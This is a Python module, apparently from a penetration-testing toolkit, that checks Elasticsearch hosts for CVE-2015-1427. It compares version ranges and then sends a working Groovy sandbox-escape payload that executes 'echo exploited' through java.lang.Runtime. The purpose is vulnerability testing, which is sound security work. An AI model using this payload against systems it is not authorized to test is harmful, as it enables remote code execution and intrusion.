"""
Elasticsearch CVE-2015-1427 test

This module implements a test to see if the host is vulnerable to CVE-2015-1427

https://nvd.nist.gov/vuln/detail/CVE-2015-1427

Contains:
- Vuln class for performing the test
- run() function as an entry point for running the test
"""

import http
from http import HTTPStatus
from ptlibs import ptjsonlib
from ptlibs.ptprinthelper import ptprint
from packaging.version import Version
from pathlib import Path


__TESTLABEL__ = "Elasticsearch CVE-2015-1427 test"


class Vuln:
    """
    This class check to see if the host is vulnerable to CVE-2015-1427 by first checking if the version is lower than 1.3.8 or 1.4.x
    lower than 1.4.3 and then sending a malicious script to execute the command 'echo exploited'
    """
    def __init__(self, args: object, ptjsonlib: object, helpers: object, http_client: object, base_response: object) -> None:
        self.args = args
        self.ptjsonlib = ptjsonlib
        self.helpers = helpers
        self.http_client = http_client
        self.base_response = base_response
        self.helpers.print_header(__TESTLABEL__)
        self.cve_id = Path(__file__).stem.upper()


    def _check_version(self) -> None:
        """
        This method compares the version of Elasticsearch running on the host to check if it is < 1.3.8 or 1.4.x < 1.4.3
        and thus vulnerable to CVE-2015-1427
        """
        version = Version(self.base_response.json()["version"]["number"])

        if version < Version("1.3.8") or (Version("1.4.0") <= version < Version("1.4.3")):
            ptprint(f"Elasticsearch {version} should be vulnerable to {self.cve_id}", "INFO", not self.args.json, indent=4)
            return

        ptprint(f"Elasticsearch {version} might not be vulnerable to {self.cve_id}", "INFO", not self.args.json, indent=4)


    def _exploit(self) -> bool:
        """
        This method exploits CVE-2015-1427 by first creating a new document at http://<host>:<port>/exploit/payload/
        and then sending a malicious script to the /_search?pretty endpoint. This script runs the 'echo exploited' command on the host
        and if we get a response that contains the output of this command - 'exploited\n' we have successfully exploited CVE-2015-1427

        :return: True if the exploitation was successful. False otherwise
        """
        headers = {"Content-Type": "application/json"}
        new_document = '{"payload": "exploit"}'

        ptprint(f"Creating new document {new_document} at exploit/payload", "INFO",
                    self.args.verbose, indent=4)

        response = self.http_client.send_request(method="POST", url=self.args.url+"exploit/payload", data=new_document, headers=headers)

        if response.status_code != HTTPStatus.CREATED:
            ptprint(f"Error when creating new document. Received response code: {response.status_code}", "ERROR",
                    not self.args.json, indent=4)
            return False

        payload = '{"size":1, "script_fields": {"exploit":{"lang":"groovy","script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"echo exploited\\").getText()"}}}'

        ptprint(f"Sending exploit {payload} to {self.args.url+'_search?pretty'}", "INFO",
                self.args.verbose, indent=4)

        response = self.http_client.send_request(url=self.args.url+"_search?pretty", headers=headers, data=payload)

        if response.status_code != HTTPStatus.OK:
            ptprint(f"Error when sending request to _search?pretty. Received response code: {response.status_code}. Response: {response.text}", "ERROR",
                    not self.args.json, indent=4)
            return False

        return response.json()["hits"]["hits"][0]["fields"]["exploit"] == ["exploited\n"]


    def run(self) -> None:
        """
        Executes the Elasticsearch CVE-2015-1427 test

        The method first checks if Elasticsearch is running a vulnerable version with the _check_version() method and then
        exploits the vulnerability with the _exploit() method
        """
        self._check_version()

        if self._exploit():
            ptprint(f"The host is vulnerable to {self.cve_id}", "VULN", not self.args.json, indent=4)
            es_node_key = self.helpers.check_node("swES")
            if es_node_key:
                self.ptjsonlib.add_vulnerability(f"PTV-{self.cve_id}", node_key=es_node_key)
            else:
                self.ptjsonlib.add_vulnerability(f"PTV-{self.cve_id}")

        else:
            ptprint(f"The host is not vulnerable to {self.cve_id}", "OK", not self.args.json, indent=4)


def run(args, ptjsonlib, helpers, http_client, base_response):
    """Entry point for running the Vuln test"""
    Vuln(args, ptjsonlib, helpers, http_client, base_response).run()
